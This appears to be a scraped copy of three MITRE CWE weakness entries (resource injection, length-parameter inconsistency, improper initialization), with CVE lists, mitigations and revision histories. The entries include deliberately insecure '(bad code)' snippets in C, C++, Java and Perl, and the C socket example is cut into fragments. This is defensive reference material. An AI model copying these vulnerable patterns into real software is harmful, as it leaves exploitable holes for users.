The following code uses input from the command line to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can create soft links to the file, they can use the program to read the first part of any file on the system.

(bad code)

Example Language: C++

ifstream ifs(argv[0]);
string s;
ifs >> s;
cout << s;

The kind of resource the data affects indicates the kind of content that may be dangerous. For example, data containing special characters like period, slash, and backslash, are risky when used in methods that interact with the file system. (Resource injection, when it is related to file system resources, sometimes goes by the name "path manipulation.") Similarly, data that contains URLs and URIs is risky for functions that create remote connections.

Observed Examples

Reference	Description
CVE-2013-4787	chain: mobile OS verifies cryptographic signature of file in an archive, but then installs a different file with the same name that is also listed in the archive.

Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, it can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Weakness Ordinalities

Ordinality	Description
Primary	(where the weakness exists independent of other weaknesses)

Detection Methods

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	932	OWASP Top Ten 2013 Category A4 - Insecure Direct Object References
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	990	SFP Secondary Cluster: Tainted Input to Command
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1005	7PK - Input Validation and Representation
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1131	CISQ Quality Measures (2016) - Security
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1308	CISQ Quality Measures - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1347	OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1409	Comprehensive Categorization: Injection

Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit

Notes

Relationship

Resource injection that involves resources stored on the filesystem goes by the name path manipulation (CWE-73).

Maintenance

The relationship between CWE-99 and CWE-610 needs further investigation and clarification. They might be duplicates. CWE-99 "Resource Injection," as originally defined in Seven Pernicious Kingdoms taxonomy, emphasizes the "identifier used to access a system resource" such as a file name or port number, yet it explicitly states that the "resource injection" term does not apply to "path manipulation," which effectively identifies the path at which a resource can be found and could be considered to be one aspect of a resource identifier. Also, CWE-610 effectively covers any type of resource, whether that resource is at the system layer, the application layer, or the code layer.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Resource Injection
Software Fault Patterns	SFP24	Tainted input to command
OMG ASCSM	ASCSM-CWE-99

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-10	Buffer Overflow via Environment Variables
CAPEC-240	Resource Injection
CAPEC-75	Manipulating Writeable Configuration Files

References

[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-99. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	7 Pernicious Kingdoms
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-08-01		KDM Analytics
2008-08-01	added/updated white box definitions
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Description, Name
2009-07-17	KDM Analytics
2009-07-17	Improved the White_Box_Definition
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated White_Box_Definitions
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Other_Notes
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Common_Consequences, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2013-02-21	CWE Content Team	MITRE
2013-02-21	updated Alternate_Terms, Maintenance_Notes, Other_Notes, Relationships
2013-07-17	CWE Content Team	MITRE
2013-07-17	updated Relationships
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Alternate_Terms, Description, Relationship_Notes, Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Relationships
2017-05-03	CWE Content Team	MITRE
2017-05-03	updated Related_Attack_Patterns, Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, Relationships, White_Box_Definitions
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated References, Relationships, Taxonomy_Mappings
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Other_Notes, Potential_Mitigations, References, Relationships, Type
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Observed_Examples
Previous Entry Names
Change Date	Previous Entry Name
2008-04-11	Resource Injection

2009-05-27	Insufficient Control of Resource Identifiers (aka 'Resource Injection')

Weakness ID: 130

View customized information:

Description

The product parses a formatted message or structure, but it does not handle or incorrectly handles a length field that is inconsistent with the actual length of the associated data.

Extended Description

If an attacker can manipulate the length parameter associated with an input such that it is inconsistent with the actual length of the input, this can be leveraged to cause the target application to behave in unexpected, and possibly, malicious ways. One of the possible motives for doing so is to pass in arbitrarily large input to the application. Another possible motivation is the modification of application state by including invalid data for subsequent properties of the application. Such weaknesses commonly lead to attacks such as buffer overflows and execution of arbitrary code.

Alternate Terms

length manipulation
length tampering

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	240	Improper Handling of Inconsistent Structural Elements
CanPrecede	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	805	Buffer Access with Incorrect Length Value

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	19	Data Processing Errors

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

C (Sometimes Prevalent)

C++ (Sometimes Prevalent)

Class: Not Language-Specific (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Technical Impact: Read Memory; Modify Memory; Varies by Context

Demonstrative Examples

Example 1

(bad code)

Example Language: C

int processMessageFromSocket(int socket) {

message[index] = msg->msgBody[index];

}
message[index] = '\0';

// process message
success = processMessage(message);

}
return success;

}

Observed Examples

Reference	Description
CVE-2014-0160	Chain: "Heartbleed" bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data.
CVE-2009-2299	Web application firewall consumes excessive memory when an HTTP request contains a large Content-Length value but no POST data.
CVE-2001-0825	Buffer overflow in internal string handling routine allows remote attackers to execute arbitrary commands via a length argument of zero or less, which disables the length check.
CVE-2001-1186	Web server allows remote attackers to cause a denial of service via an HTTP request with a content-length value that is larger than the size of the request, which prevents server from timing out the connection.
CVE-2001-0191	Service does not properly check the specified length of a cookie, which allows remote attackers to execute arbitrary commands via a buffer overflow, or brute force authentication by using a short cookie length.
CVE-2003-0429	Traffic analyzer allows remote attackers to cause a denial of service and possibly execute arbitrary code via invalid IPv4 or IPv6 prefix lengths, possibly triggering a buffer overflow.
CVE-2000-0655	Chat client allows remote attackers to cause a denial of service or execute arbitrary commands via a JPEG image containing a comment with an illegal field length of 1.
CVE-2004-0492	Server allows remote attackers to cause a denial of service and possibly execute arbitrary code via a negative Content-Length HTTP header field causing a heap-based buffer overflow.
CVE-2004-0201	Help program allows remote attackers to execute arbitrary commands via a heap-based buffer overflow caused by a .CHM file with a large length field
CVE-2003-0825	Name services does not properly validate the length of certain packets, which allows attackers to cause a denial of service and possibly execute arbitrary code. Can overlap zero-length issues
CVE-2004-0095	Policy manager allows remote attackers to cause a denial of service (memory consumption and crash) and possibly execute arbitrary code via an HTTP POST request with an invalid Content-Length value.
CVE-2004-0826	Heap-based buffer overflow in library allows remote attackers to execute arbitrary code via a modified record length field in an SSLv2 client hello message.
CVE-2004-0808	When domain logons are enabled, server allows remote attackers to cause a denial of service via a SAM_UAS_CHANGE request with a length value that is larger than the number of structures that are provided.
CVE-2002-1357	Multiple SSH2 servers and clients do not properly handle packets or data elements with incorrect length specifiers, which may allow remote attackers to cause a denial of service or possibly execute arbitrary code.
CVE-2004-0774	Server allows remote attackers to cause a denial of service (CPU and memory exhaustion) via a POST request with a Content-Length header set to -1.
CVE-2004-0989	Multiple buffer overflows in xml library that may allow remote attackers to execute arbitrary code via long URLs.
CVE-2004-0568	Application does not properly validate the length of a value that is saved in a session file, which allows remote attackers to execute arbitrary code via a malicious session file (.ht), web site, or Telnet URL contained in an e-mail message, triggering a buffer overflow.
CVE-2003-0327	Server allows remote attackers to cause a denial of service via a remote password array with an invalid length, which triggers a heap-based buffer overflow.
CVE-2003-0345	Product allows remote attackers to cause a denial of service and possibly execute arbitrary code via an SMB packet that specifies a smaller buffer length than is required.
CVE-2004-0430	Server allows remote attackers to execute arbitrary code via a LoginExt packet for a Cleartext Password User Authentication Method (UAM) request with a PathName argument that includes an AFPName type string that is longer than the associated length field.
CVE-2005-0064	PDF viewer allows remote attackers to execute arbitrary code via a PDF file with a large /Encrypt /Length keyLength value.
CVE-2004-0413	SVN client trusts the length field of SVN protocol URL strings, which allows remote attackers to cause a denial of service and possibly execute arbitrary code via an integer overflow that leads to a heap-based buffer overflow.
CVE-2004-0940	Is effectively an accidental double increment of a counter that prevents a length check conditional from exiting a loop.
CVE-2002-1235	Length field of a request not verified.
CVE-2005-3184	Buffer overflow by modifying a length value.

Potential Mitigations

Phase: Implementation

When processing structured incoming data containing a size field followed by raw data, ensure that you identify and resolve any inconsistencies between the size field and the actual size of the data.

Phase: Implementation

Do not let the user control the size of the buffer.

Phase: Implementation

Validate that the length of the user-supplied data is consistent with the buffer size.

Weakness Ordinalities

Ordinality	Description
Primary	(where the weakness exists independent of other weaknesses)

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	990	SFP Secondary Cluster: Tainted Input to Command
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1407	Comprehensive Categorization: Improper Neutralization

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Relationship

This probably overlaps other categories including zero-length issues.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Length Parameter Inconsistency
Software Fault Patterns	SFP24		Tainted Input to Command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-47	Buffer Overflow via Parameter Expansion

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Potential_Mitigations, Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Applicable_Platforms, Description, Name, Relationships, Observed_Example, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Description, Name
2009-12-28	CWE Content Team	MITRE
2009-12-28	updated Observed_Examples
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Description, Potential_Mitigations, Relationships
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Potential_Mitigations
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Demonstrative_Examples
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Observed_Examples, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2013-07-17	CWE Content Team	MITRE
2013-07-17	updated Type
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Observed_Examples
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Type
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, Causal_Nature, Demonstrative_Examples
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Common_Consequences, Demonstrative_Examples
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Taxonomy_Mappings
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Relationships, Time_of_Introduction
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Observed_Examples
Previous Entry Names
Change Date	Previous Entry Name
2008-09-09	Length Parameter Inconsistency

2009-03-10	Failure to Handle Length Parameter Inconsistency

Weakness ID: 665

View customized information:

Description

The product does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.

Extended Description

This can have security implications when the associated resource is expected to have certain properties or values, such as a variable that determines whether a user has been authenticated or not.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	664	Improper Control of a Resource Through its Lifetime
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	455	Non-exit on Failed Initialization
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	770	Allocation of Resources Without Limits or Throttling
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	908	Use of Uninitialized Resource
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	909	Missing Initialization of Resource
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1279	Cryptographic Operations are run Before Supporting Units are Ready
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	1419	Incorrect Initialization of Resource

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	908	Use of Uninitialized Resource
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	909	Missing Initialization of Resource
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	1188	Initialization of a Resource with an Insecure Default

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	456	Missing Initialization of a Variable
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	457	Use of Uninitialized Variable

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	456	Missing Initialization of a Variable
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	457	Use of Uninitialized Variable

Modes Of Introduction

Phase	Note
Implementation	This weakness can occur in code paths that are not well-tested, such as rare error conditions. This is because the use of uninitialized data would be noticed as a bug during frequently-used functionality.
Operation

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Technical Impact: Read Memory; Read Application Data When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.
Access Control	Technical Impact: Bypass Protection Mechanism If security-critical decisions rely on a variable having a "0" or equivalent value, and the programming language performs this initialization on behalf of the programmer, then a bypass of security may occur.
Availability	Technical Impact: DoS: Crash, Exit, or Restart The uninitialized data may contain values that cause program flow to change in ways that the programmer did not intend. For example, if an uninitialized variable is used as an array index in C, then its previous contents may produce an index that is outside the range of the array, possibly causing a crash or an exit in other environments.

Likelihood Of Exploit

Medium

Demonstrative Examples

Example 1

Here, a boolean initiailized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

(bad code)

Example Language: Java

private boolean initialized = true;
public void someMethod() {

if (!initialized) {

// perform initialization tasks
...

initialized = true;

}

Example 2

The following code intends to limit certain operations to the administrator only.

(bad code)

Example Language: Perl

$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {

$uid = ExtractUserID($state);

}

# do stuff
if ($uid == 0) {

DoAdminThings();

}

If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

Example 3

The following code intends to concatenate a string to a variable and print the string.

(bad code)

Example Language: C

char str[20];
strcat(str, "hello world");
printf("%s", str);

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

Observed Examples

Reference	Description
CVE-2001-1471	chain: an invalid value prevents a library file from being included, skipping initialization of key variables, leading to resultant eval injection.
CVE-2008-3637	Improper error checking in protection mechanism produces an uninitialized variable, allowing security bypass and code execution.
CVE-2008-4197	Use of uninitialized memory may allow code execution.
CVE-2008-2934	Free of an uninitialized pointer leads to crash and possible code execution.
CVE-2007-3749	OS kernel does not reset a port when starting a setuid program, allowing local users to access the port and gain privileges.
CVE-2008-0063	Product does not clear memory contents when generating an error message, leading to information leak.
CVE-2008-0062	Lack of initialization triggers NULL pointer dereference or double-free.
CVE-2008-0081	Uninitialized variable leads to code execution in popular desktop application.
CVE-2008-3688	chain: Uninitialized variable leads to infinite loop.
CVE-2008-3475	chain: Improper initialization leads to memory corruption.
CVE-2008-5021	Composite: race condition allows attacker to modify an object while it is still being initialized, causing software to access uninitialized memory.
CVE-2005-1036	Chain: Bypass of access restrictions due to improper authorization (CWE-862) of a user results from an improperly initialized (CWE-909) I/O permission bitmap
CVE-2008-3597	chain: game server can access player data structures before initialization has happened leading to NULL dereference
CVE-2009-2692	chain: uninitialized function pointers can be dereferenced allowing code execution
CVE-2009-0949	chain: improper initialization of memory can lead to NULL dereference
CVE-2009-3620	chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference

Potential Mitigations

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, in Java, if the programmer does not explicitly initialize a variable, then the code could produce a compile-time error (if the variable is local) or automatically initialize the variable to the default value for the variable's type. In Perl, if explicit initialization is not performed, then a default value of undef is assigned, which is interpreted as 0, false, or an equivalent value depending on the context in which the variable is accessed.

Phase: Architecture and Design

Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.

Phase: Implementation

Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage.

Phase: Implementation

Pay close attention to complex conditionals that affect initialization, since some conditions might not perform the initialization.

Phase: Implementation

Avoid race conditions (CWE-362) during initialization routines.

Phase: Build and Compilation

Run or compile your product with settings that generate warnings about uninitialized variables or data.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Weakness Ordinalities

Ordinality	Description
Primary	(where the weakness exists independent of other weaknesses)
Resultant	(where the weakness is typically related to the presence of some other weaknesses)

Detection Methods

Automated Dynamic Analysis

Initialization problems may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness: Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	740	CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	752	2009 Top 25 - Risky Resource Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	846	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 3 - Declarations and Initialization (DCL)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	962	SFP Secondary Cluster: Unchecked Status Condition
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1135	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 01. Declarations and Initialization (DCL)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1306	CISQ Quality Measures - Reliability
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1308	CISQ Quality Measures - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1416	Comprehensive Categorization: Resource Lifecycle Management

Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

This CWE entry is a level-1 Class (i.e., a child of a Pillar). It might have lower-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Incorrect initialization
CERT C Secure Coding	ARR02-C	Explicitly specify array bounds, even if implicitly defined by an initializer
The CERT Oracle Secure Coding Standard for Java (2011)	DCL00-J	Prevent class initialization cycles
Software Fault Patterns	SFP4	Unchecked Status Condition

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-26	Leveraging Race Conditions
CAPEC-29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

References

[REF-436] mercy. "Exploiting Uninitialized Data". 2006-01. <http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip>.

[REF-437] Microsoft Security Vulnerability Research & Defense. "MS08-014 : The Case of the Uninitialized Stack Variable Vulnerability". 2008-03-11. <https://msrc.microsoft.com/blog/2008/03/ms08-014-the-case-of-the-uninitialized-stack-variable-vulnerability/>. URL validated: 2023-04-07.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Variable Initialization", Page 312. 1st Edition. Addison Wesley. 2006.

Content History

Submissions
Submission Date	Submitter	Organization
2008-04-11 (CWE Draft 9, 2008-04-11)	PLOVER
2008-04-11 (CWE Draft 9, 2008-04-11)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Sean Eidemiller	Cigital
2008-07-01	added/updated demonstrative examples
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Potential_Mitigations, Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships, Taxonomy_Mappings
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Relationships, Taxonomy_Mappings
2009-01-12	CWE Content Team	MITRE
2009-01-12	updated Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Modes_of_Introduction, Name, Observed_Examples, Potential_Mitigations, References, Relationships, Weakness_Ordinalities
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Potential_Mitigations
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Description, Relationships
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated Related_Attack_Patterns
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Common_Consequences
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Potential_Mitigations
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Applicable_Platforms
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Detection_Factors, Potential_Mitigations
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Observed_Examples
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
